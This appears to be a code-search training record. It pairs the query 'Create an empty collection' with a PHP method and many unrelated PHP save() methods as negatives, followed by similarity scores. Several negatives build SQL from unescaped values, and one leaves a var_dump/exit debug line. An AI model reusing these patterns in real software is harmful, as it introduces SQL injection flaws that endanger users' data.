"public function save(){\n\n if (!$this->preSave()) {\n return FALSE;\n }\n\n $reference = $this->_getReference();\n $pk = $this->_getPK();\n\n $data = get_object_vars($this);\n\n if (empty($pk) && $pk !== NULL) {\n throw new \\Exception('Model PK is empty!');\n }\n\n if (is_array($pk)) {\n $pkv = [];\n $_pkv = [];\n $insert = TRUE;\n foreach ($pk as $c) {\n if (!empty($data[$c])) {\n $pkv[] = $data[$c];\n $_pkv[$c] = $data[$c];\n // unset($data[$c]);\n $insert = FALSE;\n }\n }\n\n if (!$insert) {\n $insert = is_null(self::getWhere($_pkv));\n }\n\n\n } else {\n $pkv = !empty($data[$pk]) ? $data[$pk] : NULL;\n $_pkv = [$pk => $pkv];\n\n // Se for AUTO INCREMENT remove dos campos a serem INSERIDOS/ALTERADOS\n if (self::_isPkAi())\n unset($data[$pk]);\n\n $insert = empty($pkv);\n }\n\n unset($data['__error']);\n\n foreach ($data as $key => $value) {\n if (strpos($key, '_') === 0)\n unset($data[$key]);\n }\n\n if ($insert) {\n\n if (array_key_exists('created', $data))\n $data['created'] = Date('Y-m-d H:i:s');\n\n if (array_key_exists('updated', $data))\n unset($data['updated']);\n\n\n $res = self::$connection->insert($reference, $data)->execute();\n\n if ($res && $pk !== NULL && !is_array($pk))\n $this->{'set'.$pk}(self::$connection->lastInsertId());\n\n } else {\n\n if (array_key_exists('updated', $data))\n $data['updated'] = Date('Y-m-d H:i:s');\n\n if (array_key_exists('created', $data))\n unset($data['created']);\n\n $res = self::$connection->update($reference, $data, $_pkv)->execute();\n\n }\n\n if ($res)\n $this->refresh();\n\n $this->afterSave($res);\n\n return $res;\n\n }",
"public function save() {\n if(!isset($this->id)) {\n $this->insert();\n } else {\n foreach ($this->fillable as $key => $value) {\n $data[$key] = $this->$key;\n }\n $qb = $this::set($data);\n $qb->where(['id' => $this->id])->make();\n return true;\n }\n }",
"public function save() {\n\t\tif ( ! $this->dirty()) return true;\n\n\t\tif (static::$timestamps) {\n\t\t\t$this->timestamp();\n\t\t}\n\n\t\t$this->fire_event('saving');\n\n\t\t// If the model exists, we only need to update it in the database, and the update\n\t\t// will be considered successful if there is one affected row returned from the\n\t\t// fluent query instance. We'll set the where condition automatically.\n\t\tif ($this->exists) {\n\t\t\t$query = $this->query()->where(static::$key, '=', $this->get_key());\n\n\t\t\t$result = $query->update($this->get_dirty()) === 1;\n\n\t\t\tif ($result) $this->fire_event('updated');\n\t\t}\n\n\t\t// If the model does not exist, we will insert the record and retrieve the last\n\t\t// insert ID that is associated with the model. If the ID returned is numeric\n\t\t// then we can consider the insert successful.\n\t\telse {\n\t\t\t$id = $this->query()->insert_get_id($this->attributes, $this->key());\n\n\t\t\t$this->set_key($id);\n\n\t\t\t$this->exists = $result = is_numeric($this->get_key());\n\n\t\t\tif ($result) $this->fire_event('created');\n\t\t}\n\n\t\t// After the model has been \"saved\", we will set the original attributes to\n\t\t// match the current attributes so the model will not be viewed as being\n\t\t// dirty and subsequent calls won't hit the database.\n\t\t$this->original = $this->attributes;\n\n\t\tif ($result) {\n\t\t\t$this->fire_event('saved');\n\t\t}\n\n\t\treturn $result;\n\t}",
"public function save()\n {\n if ($conn = $this->_getConnection()) {\n $data = $this->getData();\n unset($data['user']);\n if ($this->id) {\n $fields = array();\n foreach ($data as $_field => $_value) {\n $fields[] = \"`{$_field}`='{$_value}'\";\n }\n $sql = \"UPDATE `{$this->_dbTable}` SET \" . implode(\",\", $fields) . \" WHERE `id`={$this->id};\";\n } else {\n $sql = \"INSERT INTO `{$this->_dbTable}` (`\" . implode('`,`', array_keys($data)) . \"`)\n VALUES('\" . implode(\"','\", $data) . \"');\";\n }\n $result = $conn->query($sql);\n app::log(array($sql, $result, $conn->errno, $conn->error)); //!!!!\n if ($conn->errno) {\n app::log('Error saving model \"' . $this->_modelName . '\" into DB with ID=' . $this->id, app::LOG_LEVEL_ERROR . \"\\n{$conn->errno} - {$conn->error}\");\n }\n if (!$this->id) {\n $this->id = $conn->insert_id;\n }\n }\n app::log($this->_data); //!!!!\n return $this;\n }",
"public function save() : bool {\n $this->getForm();\n $model = (array) $this;\n unset($model['id']);\n\n $colNames = implode(', ', array_keys($model));\n $colValues = ':' . str_replace(', ', ', :', $colNames);\n $arrBind = array_combine(explode(', ', $colValues), array_values($model));\n\n try {\n $db = new DbConnection();\n $db = $db->connect();\n $statement = $db->prepare(\"INSERT INTO \" . static::tableName() . \" (\" . $colNames . \")\n VALUES (\" . $colValues . \")\");\n\n foreach ($arrBind as $key => &$value) {\n $statement->bindParam($key, $value);\n }\n\n $result = $statement->execute();\n $db = null;\n } catch (PDOException $e) {\n $result = false;\n $e->getMessage(); // Only in dev mode\n }\n return $result;\n }",
"public function save(Identifiable $model);",
"public function save( Application_Model_Interface $model );",
"public function save() : bool {\n\t\t// Check if record is new\n\t\t$isNew = isset($this->{$this->primaryKey}) && $this->{$this->primaryKey} ? false : true;\n\n\t\tif ($isNew) {\n\t\t\t// Insert\n\t\t\t$this->database->query('INSERT INTO ' . $this->tableNamePrefixed, $this->getValuesForDatabase());\n\t\t\tif ($this->database->getInsertId()) {\n\t\t\t\t$this->{$this->primaryKey} = $this->database->getInsertId();\n\t\t\t}\n\t\t} else {\n\t\t\t// Update\n\t\t\t$this->database->query(\n\t\t\t\t'UPDATE ' . $this->tableNamePrefixed . ' SET',\n\t\t\t\t$this->getValuesForDatabase(),\n\t\t\t\t'WHERE ' . $this->primaryKey . ' = ?', $this->{$this->primaryKey}\n\t\t\t);\n\t\t}\n\n\t\treturn true;\n\t}",
"public function save()\n\t{\n\t\tself::$db->model = $this;\n\t\t$boolean = $this->validate();\n\t\tif($boolean){\n\t\t\treturn self::$db->saveNow();\n\t\t}\n\t}",
"public function save(){\n\t\ttry {\n\t\t\t$params = array();\n\n\t\t\t//insert\n\t\t\tif( empty($this->_data['id']) ){\n\t\t\t\t$action = 'add';\n\n\t\t\t\t//build the insert starting from self::$fields\n\t\t\t\t$fields = array();\n\t\t\t\t$values = array();\n\n\t\t\t\tforeach( self::$_fields[$this->_table] as $key ){\n\t\t\t\t\tif( $key != 'id' ){\n\t\t\t\t\t\t$fields[] = $key;\n\n\t\t\t\t\t\tif( isset($this->_data[$key]) && !is_null($this->_data[$key]) ){\n\t\t\t\t\t\t\t$values[] = ':'.$key;\n\t\t\t\t\t\t\t$params[':'.$key] = $this->_data[$key];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$values[] = 'NULL';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$fields = implode(', ', $fields);\n\t\t\t\t$values = implode(', ', $values);\n\t\t\t\t$sql = \"INSERT INTO \".$this->_table.\" (\".$fields.\") VALUES (\".$values.\")\";\n\n\t\t\t//update\n\t\t\t} else {\n\t\t\t\t$action = 'update';\n\n\t\t\t\t//build the update starting from self::$fields\n\t\t\t\t$where = '';\n\t\t\t\t$field_value = '';\n\n\t\t\t\tforeach( self::$_fields[$this->_table] as $key ){\n\t\t\t\t\tif( $key == 'id' ){\n\t\t\t\t\t\t$where = ' '.$key.' = :id';\n\t\t\t\t\t\t$params[':id'] = $this->_data[$key];\n\n\t\t\t\t\t} elseif( isset($this->_data[$key]) and !is_null($this->_data[$key]) ){\n\t\t\t\t\t\t$field_value .= ' '.$key.' = :'.$key.',';\n\t\t\t\t\t\t$params[':'.$key] = $this->_data[$key];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$field_value .= ' '.$key.' = NULL,';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$field_value = substr($field_value, 0, -1);\n\t\t\t\t$sql = \"UPDATE \".$this->_table.\" SET \".$field_value.\" WHERE \".$where;\n\t\t\t}\n\n\t\t\t$q = $this->_db->prepare($sql);\n\n\t\t\t$q->execute($params);\n\n\t\t\tif( empty($this->_data['id']) ){\n\t\t\t\t$this->_data['id'] = $this->_db->lastInsertId();\n\t\t\t}\n\n\t\t\treturn true;\n\n\t\t} catch ( PDOException $e ){\n\t\t\terreur_pdo( $e, get_class( $this ), __FUNCTION__ );\n\t\t}\n\t}",
"public function save()\n {\n if($this->id != -1)\n {\n $this->update_subject();\n }\n else\n {\n $this->insert_subject();\n }\n }",
"public function save(){\n\t\t\n\t\tif(!isset($this->data[$this->primary_key])){\n\t\t\t$success = $this->db\n\t\t\t\t->set($this->data)\n\t\t\t\t->insert($this->table);\n\n\t\t\t$this->data[$this->primary_key] = $this->db->last_insert_id;\n\t\t}else{\n\t\t\t$success = $this->db\n\t\t\t\t->set($this->data)\n\t\t\t\t->where($this->primary_key, $this->data[$this->primary_key])\n\t\t\t\t->update($this->table);\n\t\t}\n\n\t\treturn $success;\n\t}",
"public function save(){\n\t\t$db = static::getDatabaseConnection();\n\t\t//Find the columns from the model\n\t\t$columns = static::$columns;\n\n\t\t//because ID is AI we dont want to put a value in it\n\t\tunset($columns[array_search('id', $columns)]);\n\t\t//Same with timestamp\n\t\tunset($columns[array_search('timestamp', $columns)]);\n\n\t\t//Create an insert query which gets linked to the database\n\t\t$query = \"INSERT INTO \" . static::$tableName . \" (\". implode(\",\", $columns) . \") VALUES (\";\n\n\t\t//create a variable called insesrtcols. This is where we put the values\n\t\t$insertcols = [];\n\t\t//For each of the columns in the columns array, add that column into the insert cols array, and seperate it with a :\n\t\tforeach ($columns as $column) {\n\t\t\tarray_push($insertcols, \":\" . $column);\n\t\t}\n\t\t//turn the insertcols array into 1 string and put a , between each entry\n\t\t$query .= implode(\",\", $insertcols);\n\t\t//close the query\n\t\t$query .= \")\";\n\n\t\t//Prepare the query\n\t\t$statement = $db->prepare($query);\n\n\t\t//Foreach of the columns run this function\n\t\tforeach ($columns as $column) {\n\t\t\t//Attach the value to each of the columns\n\t\t\t//Hash the password\n\t\t\tif($column === 'password'){\n\t\t\t\t$this->$column = password_hash($this->$column, PASSWORD_DEFAULT);\n\t\t\t}\n\t\t\t$statement->bindValue(\":\" . $column , $this->$column);\n\t\t}\n\n\t\t//Run the query\n\t\t$statement->execute();\n\n\t\t//Get the id of the query which was just added\n\t\t$this->id = $db->lastInsertID();\n\t}",
"public function saving($model)\n\t{\n\t}",
"public function save()\n {\n if ($this->_state == 0) {\n // Insert\n $result = static::getLink()->insert(Structure::getTable($this)->getFullTableName(), $this->getColumns(), $this->getColumns(true));\n\n // Primary Key\n $this->_id = static::getLink()->lastInsertId();\n\n /** @var Column $primaryKey */\n $primaryKey = Structure::getTablePrimaryKey($this);\n\n if ($primaryKey->autoIncrement) {\n $this->{$primaryKey->getPropertyField()} = $this->_id;\n }\n\n $this->_state = 1;\n } else {\n // Update\n $result = static::getLink()->update(Structure::getTable($this)->getFullTableName(), $this->getColumns(), $this->getPrimaryKey(),\n array_merge($this->getColumns(true), $this->getPrimaryKey(true)));\n }\n\n return $result;\n }",
"public function save(){\n $data = file_get_contents('php://input');\n //saving data and getting inserted id or the existing one\n $this->id = $this->_so->save($data);\n //returning saved object for frontend sync\n return $this->byId();\n }",
"public function save()\n\t{\n\t\t$this->copyAttributesToValues() ;\n\t\tif( $this->factory )\n\t\t{\n\t\t\tswitch( $this->todo )\n\t\t\t{\n\t\t\t\tcase 1: // Insert\n\t\t\t\t\tif( $this->factory->insertObjectIntoDB( $this ) ) $this->state = \"inserted\" ;\n\t\t\t\t\telse $this->state = \"dberror\" ;\n\t\t\t\t\tbreak ;\n\t\t\t\tcase 2: // update\n\t\t\t\t\tif( $this->factory->updateObjectIntoDB( $this ) ) $this->state = \"updated\" ;\n\t\t\t\t\telse $this->state = \"dberror\" ;\n\t\t\t\t\tbreak ;\n\t\t\t\tcase 3: // delete\n\t\t\t\t\tif( $this->factory->deleteObjectIntoDB( $this ) ) $this->state = \"deleted\" ;\n\t\t\t\t\telse $this->state = \"dberror\" ;\n\t\t\t\t\tbreak ;\n\t\t\t}\n\t\t}\n\t}",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save()\n {\n $this->hasTableName();\n $pk = $this->pk;\n $condition = \"\";\n if ($this->isNew) {\n $sql = \"INSERT INTO \" . $this->table_name . \" SET \";\n $update = '';\n } else {\n if (!isset($this->$pk))\n throw new Exception('Update em objeto sem chave definida', 403);\n\n $sql = \"UPDATE \" . $this->table_name . \" SET \";\n $update = \" WHERE `\" . $this->pk . \"` = '\" . $this->$pk . \"'\";\n }\n foreach ($this->rules() as $key => $validation) {\n if ($this->validateField($key, $validation) && isset($this->$key) && $this->$key != \"\") {\n $sql .= \" `\" . $key . \"` = '\" . $this->$key . \"',\";\n $condition .= \" `\" . $key . \"` = '\" . $this->$key . \"' AND\";\n }\n }\n if (!$this->getErrors()) {\n $sql = substr($sql, 0, -1) . $update;\n if (Database::dbactionf($sql)) {\n if ($this->isNew) {\n $this->$pk = Database::lastID();\n $this->persisted();\n }\n return true;\n }\n }\n return false;\n }",
"public function save(): void\n {\n $this->em->persist($this->model);\n $this->em->flush();\n }",
"public function save(Model $model): void;",
"public abstract function save();",
"public function save(Authenticatable $model);",
"public function save() {}",
"public function save() {}",
"public function save() {}",
"public function saving($model)\n {\n }",
"public function save()\r\n {\r\n if( empty($this->dirty) ) return true;\r\n \r\n $pkName = $this->pkName();\r\n //is it an update?\r\n if( isset($this->data[$pkName]) ){\r\n $this->table->update($this->dirty, \"{$pkName}=?\", array($this->data[$pkName]) );\r\n $merged_data[$pkName] = $this->data[$pkName];\r\n } else {\r\n //it's an insert\r\n $merged_data = array_merge(\r\n $this->array_diff_schema($this->dirty),\r\n $this->array_diff_schema($this->data)\r\n );\r\n $this->table->insert($merged_data);\r\n $pk = $this->pkName();\r\n if( !isset($merged_data[$pk]) )\r\n $merged_data[$pk] = $this->table->lastInsertId();\r\n }\r\n $this->reset($merged_data);\r\n return true;\r\n }",
"public static function save()\n\t{\n//\t\t{\n//\t\t\techo static::$error;\n//\t\t\treturn false;\n//\t\t}\n\n\t\t$instance = static::$_instance[static::_getTable()];\n\t\t$columns = DB::getColumnListing(static::$_table);\n\n\t\tif (@$instance->id)\n\t\t{\n\t\t\tDB::where($instance->id);\n\n\t\t\tif (in_array('updated', $columns))\n\t\t\t\t$instance->updated = date('Y-m-d H:i:s');\n\n\t\t\tif (in_array('updater', $columns))\n\t\t\t\t$instance->updater = (int)Auth::identity()->id;\n\n\t\t\tDB::table(static::$_table)->update($instance);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (in_array('ordering', $columns))\n\t\t\t\t$instance->ordering = DB::table(static::$_table)->getNewOrdering();\n\n\t\t\tif (in_array('created', $columns))\n\t\t\t\t$instance->created = date('Y-m-d H:i:s');\n\n\t\t\tif (in_array('creator', $columns))\n\t\t\t\t$instance->creator = (int)Auth::identity()->id;\n\n\t\t\tDB::table(static::$_table)->insert($instance);\n\t\t\t$instance->id = DB::getLastInsertId();\n\t\t}\n\n\t\treturn true;\n\t}",
"public function save()\n\t{\n\t\tif( $this->isExist )\n\t\t{\n\t\t\treturn $this->update();\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $this->insert();\n\t\t}\n\t}",
"public function save(): bool\n {\n return $this->id > 0\n ? $this->actionHandler->update()\n : $this->actionHandler->insert();\n }",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"function save($id, DataHolder $holder);",
"public function save()\n {\n\n // Doesn't exist yet -- Insert it\n if( $this->id == -1 )\n {\n $sql = 'INSERT INTO messages (recipient, sender, annotation)\n VALUES (?, ?, ?);';\n $params = array( $this->recipient, $this->sender, $this->annotation );\n $query = $this->db->query( $sql, $params );\n }\n\n // Already exists -- Update it\n else \n {\n $sql = 'UPDATE messages\n SET recipient = ?, sender = ?, annotation = ?\n WHERE id = ?';\n $params = array( $this->id, $this->recipient->id, $this->sender->id, $this->annotation->id );\n $query = $this->db->query( $sql, $params );\n }\n }",
"public function save()\n {\n $DB = DB::singleton(dsn());\n\n if ( $this->update ) {\n $SQL = SQL::newUpdate('entry');\n foreach ( $this->columns as $column ) {\n $SQL->addUpdate('entry_' . $column, $this->{$column});\n }\n $SQL->addWhereOpr('entry_id', $this->id);\n $SQL->addWhereOpr('entry_blog_id', $this->blog_id);\n $DB->query($SQL->get(dsn()), 'exec');\n } else {\n $SQL = SQL::newInsert('entry');\n foreach ( $this->columns as $column ) {\n $SQL->addInsert('entry_' . $column, $this->{$column});\n }\n $DB->query($SQL->get(dsn()), 'exec');\n }\n\n EntryHelper::saveColumn($this->units, $this->id, $this->blog_id);\n Common::saveField('eid', $this->id, $this->fields);\n Common::saveFulltext('eid', $this->id, Common::loadEntryFulltext($this->id));\n }",
"public function save()\n {\n $entities = $this->entities;\n Database::getInstance()->doTransaction(\n function() use ($entities)\n {\n foreach ($entities as $entity)\n {\n if ($entity->getMarkedAsDeleted())\n {\n $entity->delete();\n } \n else if ($entity->getMarkedAsUpdated())\n {\n $entity->saveWithDetails();\n }\n }\n }\n );\n }",
"public function save()\n {\n if (!$this->beforeSave()){return false;}\n\n $id = $this->primaryName;\n if($this->$id)\n {\n $stmt = $this->Adapter->prepare(\"UPDATE $this->table SET \".$this->getPrepared()['update'].\" WHERE $this->primaryName=\".$this->$id);\n if($stmt->execute($this->getPrepared()['values'])){\n return true;\n }\n $this->errors[] = $stmt->errorInfo();\n return false;\n }\n else\n {\n $stmt = $this->Adapter->prepare(\"INSERT INTO $this->table( \".$this->getPrepared()['set'].\" ) values( \".implode(\", \", array_keys($this->getPrepared()['values'])).\" )\");\n if($stmt->execute($this->getPrepared()['values'])){\n return $this->Adapter->lastInsertId('id');\n }\n $this->errors[] = $stmt->errorInfo();\n return false;\n }\n }",
"public function save()\n {\n $this->data = $this->toArray();\n if (empty($this->id)) {\n unset($this->data[self::ID]);\n $this->insert();\n } else {\n $this->update();\n }\n try {\n $this->query->execute($this->data);\n\n if ($this->pdo->lastInsertId()) {\n $this->id = $this->pdo->lastInsertId();\n }\n\n return ($this->pdo->lastInsertId() != null) ? (int)$this->pdo->lastInsertId() : null;\n } catch (Exception $ex) {\n echo $ex->getMessage();\n }\n }",
"public function save() {\r\n\t return isset($this->userid) ? $this->update() : $this->create();\r\n\t}",
"function save(){\n\t\t// returns the item's id if successful\n\t\tif($this->beforesave()){\n\t\t\t$query = ($this->id?\"UPDATE \":\"INSERT INTO \").$this->tablename.\" SET \";\n\t\t\t$qvalues = \"\";\n\t\t\tforeach($this->dbvariables as $key){\n\t\t\t\t$qvalues .= ($qvalues == \"\"?\"\":\", \").$key.\"='\".trim(addslashes($this->$key)).\"'\";\n\t\t\t}\n\t\t\t$query .= $qvalues;\n\t\t\tif($this->id){\n\t\t\t\t$query .= \" WHERE id=\".$this->id;\n\t\t\t}else{\n\t\t\t\t$query .= \", item_order=\".get_neworder($this->tablename, $this->neworder_where());\n\t\t\t}\n\t\t\tmy_debug(\"Attempting query: \".$query,__FILE__,__LINE__,\"green\");\n\t\t\tif(mysql_query($query)){\t\t\t\t\n\t\t\t\tif(!$this->id && mysql_insert_id())\t$this->id = mysql_insert_id();\n\t\t\t\t$this->onsave();\n\t\t\t\treturn $this->id;\n\t\t\t}else{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}",
"function save() {\n $all_fields = ['id' => $this->id] + ['data' => JSON::encode($this->getData(true))];\n if($this->_just_created) {\n $ps = DB::connect(isset(self::$external_dsn)?self::$external_dsn:null)->prepare(\"\n insert into \".static::$table.\"(\".implode(\",\", array_keys($all_fields)).\")\n values (\".implode(\", \", array_map(function($field) {return \":$field\";}, array_keys($all_fields))).\")\n \");\n } else {\n $ps = DB::connect(isset(self::$external_dsn)?self::$external_dsn:null)->prepare(\"\n update \".static::$table.\"\n set \".implode(\", \", array_map(function($field) {return \"$field = :$field\";}, array_keys($all_fields))).\"\n where id = :id\n \");\n }\n foreach ($all_fields as $field => $value) {\n if (is_bool($value)) {\n $ps->bindValue($field, $value, \\PDO::PARAM_BOOL);\n } else {\n $ps->bindValue($field, $value);\n }\n }\n // Little cheat to get calculated data to be displayed in api call request\n $this->data = $this->getData();\n $ps->execute();\n $this->_just_created = false;\n return $this;\n }",
"public function save()\n {\n $this->_validateModifiable();\n\n if($this->isNew())\n {\n $this->_getDataSource()->create($this);\n }\n else\n {\n $this->_getDataSource()->update($this);\n }\n\n $this->_saveRelations();\n $this->_setNew(false);\n }",
"public function save()\n {\n $primary = $this->primary_key;\n $id = null;\n\n try {\n \n /** Verifica os campos obrigatórios */\n if ( !$this->required() ) {\n throw new \\Exception('Preencha os campos necessários.');\n }\n\n $date_now = (new \\DateTime())->format('Y-m-d H:i:s');\n\n /** Se for um update */\n if ( !empty($this->data->$primary) ) {\n $this->data->updated_at = $date_now;\n $id = $this->data->$primary;\n $this->update($this->safe(), [\"{$this->primary_key}=\" => $id]);\n }\n\n /** Se for um create */\n if ( empty($this->data->$primary) ) {\n $this->data->created_at = $date_now;\n $this->data->updated_at = $date_now;\n $id = $this->create($this->safe());\n }\n\n if ( !$id ) {\n return false;\n }\n\n $this->data = $this->findByPrimaryKey($id);\n return true;\n\n } catch(\\Exception $exception) {\n $this->fail = $exception;\n return false;\n }\n }",
"public function save()\n {\n if (self::isExistent($this->guid))\n {\n return $this->update();\n }\n else\n {\n return $this->insert();\n }\n }",
"public function save()\n {\n $this->validate();\n if (!empty($this->_errors)) {\n return false;\n }\n\n if ($this->beforeSave() == false) {\n return false;\n }\n\n $schema = static::getSchema();\n $saveValues = array();\n foreach ($this as $col => $val) {\n if ($schema[$col]['type'] == 'datetime' && $this->$col !== null) {\n $val = $this->$col->setTimezone('UTC')->toDateTimeString();\n }\n\n if ($col == 'created' || $col == 'modified') {\n continue;\n }\n\n if (array_key_exists($col, $schema)) {\n $saveValues[$col] = $val;\n }\n }\n\n // If ID is not null, then UPDATE row in the database, else INSERT new row\n if ($this->{\"{$this->_idField}\"}) {\n // Update query\n if (array_key_exists('modified', static::getSchema())) {\n $this->modified = Carbon::now();\n $saveValues['modified'] = $this->modified->setTimezone('UTC')->toDateTimeString();\n }\n\n $success = static::queryBuilder()->update($saveValues)->where(array('id' => $this->{$this->_idField}))->execute();\n }\n else {\n // Insert query\n if (array_key_exists('created', static::getSchema())) {\n $this->created = Carbon::now();\n $saveValues['created'] = $this->created->setTimezone('UTC')->toDateTimeString();\n }\n\n $success = static::queryBuilder()->insert($saveValues)->execute();\n\n $this->{\"{$this->_idField}\"} = self::$_db->lastInsertId();\n }\n\n if ($this->afterSave() == false) {\n return false;\n }\n\n return $success;\n }",
"public function save()\n \t{\n \t $this->getMapper()->save($this);\n \t}",
"function save() {\n \t \tif ($this->id<>0) { \n \t \t\t$query_save = \"update wall set type = $this->type, typeId = $this->typeId, date = $this->date, active = $this->active where id=$this->id\"; \n \t \t\tmysql_query($query_save) or die(mysql_error()); \n \t \t} else { \n \t \t\t$query_save = \"insert into wall values (null, $this->type, $this->typeId, $this->date, $this->active)\"; \n \t \t\tmysql_query($query_save) or die(mysql_error()); \n \t \t\t$this->id = mysql_insert_id(); \n \t \t} \n \t }",
"function Save(){\n // If id is set, update the current register in database\n if(isset($this->idAval)){\n // Makes the update in the database\n return $this->UpdateSQL([\"ID_AVAL = \".$this->idAval]) > 0;\n }else{\n // If id is not set, insert a new row in database\n $this->fecha = date_format(new \\DateTime('now', new \\DateTimeZone('America/Argentina/Buenos_Aires')), 'Y-m-d H:i:s');\n if($this->InsertSQL()>0){\n // Refresh get the inserted id and refresh the object values\n return $this->Refresh();\n }\n }\n return false;\n }",
"public function save() {\n if($this->hasUid){\n //Create new uid, and varify that it hasn't been used.\n //This might take a bit of overhead, but useful for ensuring you don't have duplicate UID's in any table\n $uniqueID = new uniqueID();\n $UID = $uniqueID->shorten($uniqueID->generate()); //final shortened userId\n\n while (!checkUidIsUnique($UID)) {\n $uniqueID = new uniqueID();\n $UID = $uniqueID->shorten($uniqueID->generate()); //final shortened userId\n }\n\n $this->uid = $UID;\n }\n \n //Check if we are creating a new object\n if ($this->uid == \"\" && $this->id == \"\") {\n $newFields = array();\n foreach ($this as $key => $value) {\n //Skip disregarded fields\n foreach($this->disregard as $disregard){\n if($key == $disregard){\n continue 2;\n }\n }\n \n $ins[] = ':' . $key;\n array_push($newFields, $key);\n }\n $ins = implode(',', $ins);\n $fields = implode(',', $newFields);\n \n //Get the current database time\n $NetworkConnection = new NetworkConnection();\n $PDO = $NetworkConnection->getNewDbConnection();\n \n $stmt = $PDO->prepare(\"SELECT NOW() today\");\n $stmt->execute();\n $dateTime = $stmt->fetch();\n $this->created_at = $dateTime[0]->today;\n $NetworkConnection->closeConnection();\n \n\n try {\n $NetworkConnection = new NetworkConnection();\n $PDO = $NetworkConnection->getNewDbConnection();\n \n $stmt = $PDO->prepare(\"INSERT INTO \" . $this->tableName .\" ($fields) VALUES ($ins)\");\n foreach ($this as $key => $value) {\n //Skip disregarded fields\n foreach($this->disregard as $disregard){\n if($key == $disregard){\n continue 2;\n }\n }\n $stmt->bindValue(':' . $key, $value);\n \n }\n var_dump($stmt);exit();\n $result = $stmt->execute();\n \n $NetworkConnection->closeConnection();\n \n if ($result && $this->hasUid) {\n //Created new lead entry\n $newUID = new UID(array(\"uid\" => $UID, \"table_name\" => $this->tableName));\n $newUID->save();\n return $this;\n }else{\n return $this;\n }\n } catch (Exception $ex) {\n echo $ex->getMessage();\n }\n } else {\n \n $fields = array();\n $set = '';\n $x = 1;\n\n //TODO:: JMJ think this is reminent of old code, consider for removal\n //$this->created_at = date(\"Y-m-d H:i:s\");\n\n foreach ($this as $key => $value) {\n //Skip disregarded fields\n foreach($this->disregard as $disregard){\n if($key == $disregard){\n continue 2;\n }\n }\n array_push($fields, $key);\n }\n\n for ($x = 0; $x < count($fields); $x++) {\n $set .= \"{$fields[$x]} = ?\";\n if ($x < count($fields) - 1) {\n $set .= ', ';\n }\n }\n\n //Update existing entry\n $NetworkConnection = new NetworkConnection();\n $PDO = $NetworkConnection->getNewDbConnection();\n \n if(!$this->hasUid){\n $stmt = $PDO->prepare(\"UPDATE \" . $this->tableName .\" SET {$set} WHERE id=?\");\n }else{\n $stmt = $PDO->prepare(\"UPDATE \" . $this->tableName .\" SET {$set} WHERE uid=?\");\n }\n for ($i = 0; $i < count($fields); $i++) {\n\n $stmt->bindParam($i + 1, $this->{$fields[$i]});\n if ($i + 1 == count($fields)) {\n if(!$this->hasUid){\n $stmt->bindParam($i + 2, $this->id);\n }else{\n $stmt->bindParam($i + 2, $this->uid);\n }\n \n }\n }\n\n $result = $stmt->execute();\n \n $NetworkConnection->closeConnection();\n \n if ($result) {\n return $this;\n }\n }\n }",
"public\tfunction\tsave()\n\t\t{\n\t\t}"
]
| [
"0.8212231",
"0.81902176",
"0.78748286",
"0.76532334",
"0.7512781",
"0.7504232",
"0.7503418",
"0.7503104",
"0.74627346",
"0.7450369",
"0.7447784",
"0.74448305",
"0.7416176",
"0.7348586",
"0.73425746",
"0.7309207",
"0.7282932",
"0.7271302",
"0.7271302",
"0.7207662",
"0.7207186",
"0.72033966",
"0.716667",
"0.7158913",
"0.7143887",
"0.71325934",
"0.71051705",
"0.7088413",
"0.708616",
"0.70719224",
"0.70714426",
"0.705717",
"0.70514846",
"0.69838643",
"0.69806015",
"0.69783",
"0.6976585",
"0.6969746",
"0.6959659",
"0.69414973",
"0.69222784",
"0.69172794",
"0.6877071",
"0.6855994",
"0.68404007",
"0.68391913",
"0.68342227",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.6830407",
"0.682418",
"0.681969",
"0.6809309",
"0.6787913",
"0.6779825",
"0.67762876",
"0.67762876",
"0.6775464",
"0.6774744",
"0.67636764",
"0.67515665",
"0.6750574",
"0.6749791",
"0.6739206",
"0.6739206",
"0.6739206",
"0.6739206",
"0.6739206",
"0.67071927",
"0.6702285",
"0.66933817",
"0.66858923",
"0.6679721",
"0.666361",
"0.6662027",
"0.6658938",
"0.6655193",
"0.6652546",
"0.66475296",
"0.66463435",
"0.66449314",
"0.6632967",
"0.66329366",
"0.6629313",
"0.6615666",
"0.6611698"
]
| 0.0 | -1 |
Create an empty collection | protected function createEmptyCollection(): Collection
{
/** @var Collection<TEntity> $emptyCollection */
$emptyCollection = new Collection($this->db);
return $emptyCollection;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function createCollection()\n {\n return $this->_setUpNewNode(\n new Collection()\n );\n }",
"public static function empty(): CollectionInterface\n {\n /** @var array<NewTKey, NewT> $emptyArray */\n $emptyArray = [];\n\n return self::fromIterable($emptyArray);\n }",
"static function collection()\n {\n return new Collection();\n }",
"private function create_collection() {\n\n\t\treturn new MapCollection();\n\t}",
"public function createCollection($data = array());",
"public function __construct()\n {\n $this->_collection = new Collection();\n }",
"protected function createCollection()\n {\n $model = $this->getModel();\n return $model->asCollection();\n }",
"public function testCreateCollection()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }",
"public function __construct(){\r\n\t\t$this->collection = new Collection();\r\n\t}",
"public function __construct()\n {\n $this->items = new Collection;\n }",
"public function __construct()\n {\n $this->items = new Collection;\n }",
"public function createCollection($name) {}",
